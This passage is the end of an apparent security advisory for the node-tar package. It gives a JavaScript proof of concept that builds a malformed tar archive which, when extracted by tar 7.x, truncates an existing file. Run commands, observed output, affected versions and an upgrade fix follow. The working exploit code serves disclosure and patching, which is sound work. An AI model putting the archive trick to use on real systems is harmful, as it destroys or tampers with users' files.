  header({ path: 'hidden.txt', type: 'File', size: 0, mode: 0o644 }),
  Buffer.alloc(1024),
])

const file = path.resolve('poc.tar')
const cwd = fs.mkdtempSync(path.join(os.tmpdir(), 'node-tar-poc-'))
const victim = path.join(cwd, 'hidden.txt')
fs.writeFileSync(file, archive)
fs.writeFileSync(victim, 'TRUSTED CONTENT\n')

const entries = []
await list({
  file,
  onReadEntry: entry => {
    entries.push(`${entry.type}: ${entry.path}`)
    entry.resume()
  },
})

console.log('listed:', entries)
console.log('before:', JSON.stringify(fs.readFileSync(victim, 'utf8')))
await extract({ file, cwd })
console.log('after:', JSON.stringify(fs.readFileSync(victim, 'utf8')))

Run:

npm install
node poc.mjs

Observed with Node.js v24.5.0:

listed: [ 'File: hidden.txt' ]
before: "TRUSTED CONTENT\n"
after: ""

The same archive produces no member listing with GNU tar, is rejected as a damaged archive by libarchive/bsdtar, and is rejected as a non-tar archive by Python tarfile. Both asynchronous and synchronous node-tar extraction truncate hidden.txt.

The issue affects all tested 7.x releases (7.0.0 through 7.5.22) but did not reproduce in 6.2.1.

Note: The PoC states it was observed with Node.js v24.5.0 and tar 7.5.22.

Remediation

Upgrade tar to version 8.0.0 or higher.

References